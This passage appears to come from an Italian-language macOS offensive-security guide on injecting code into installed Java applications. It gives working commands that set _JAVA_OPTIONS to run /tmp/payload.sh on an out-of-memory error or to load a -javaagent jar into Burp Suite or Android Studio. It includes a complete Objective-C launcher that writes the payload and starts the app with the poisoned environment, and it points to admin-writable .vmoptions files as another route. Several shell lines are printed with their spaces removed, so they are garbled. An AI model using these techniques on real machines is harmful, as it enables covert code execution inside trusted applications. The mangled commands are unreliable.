Trova le applicazioni Java installate nel tuo sistema. È stato notato che le app Java nel Info.plist conterranno alcuni parametri java che contengono la stringa java., quindi puoi cercare quello:
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
La variabile di ambiente _JAVA_OPTIONS può essere utilizzata per iniettare parametri java arbitrari nell'esecuzione di un'app compilata in java:
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
Per eseguirlo come un nuovo processo e non come un figlio del terminale corrente, puoi usare:
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
Tuttavia, ciò genererà un errore nell'app eseguita, un modo più furtivo è creare un agente java e utilizzare:
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Creare l'agente con una versione Java diversa dall'applicazione può causare il crash dell'esecuzione sia dell'agente che dell'applicazione
E poi esporta la variabile env ed esegui l'applicazione java come:
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
vmoptions file
Questo file supporta la specifica dei parametri Java quando Java viene eseguito. Potresti usare alcuni dei trucchi precedenti per cambiare i parametri java e far eseguire al processo comandi arbitrari.
Inoltre, questo file può anche includere altri con la directory include, quindi potresti anche cambiare un file incluso.
Ancora di più, alcune app Java caricheranno più di un file vmoptions.
Alcune applicazioni come Android Studio indicano nel loro output dove stanno cercando questi file, come:
Se non lo fanno, puoi facilmente controllarlo con:
# Monitorsudoesloggerlookup|grepvmoption# Give FDA to the Terminal# Launch the Java app/Applications/Android\Studio.app/Contents/MacOS/studio
Nota quanto sia interessante che Android Studio in questo esempio stia cercando di caricare il file /Applications/Android Studio.app.vmoptions, un luogo in cui qualsiasi utente del admin group ha accesso in scrittura.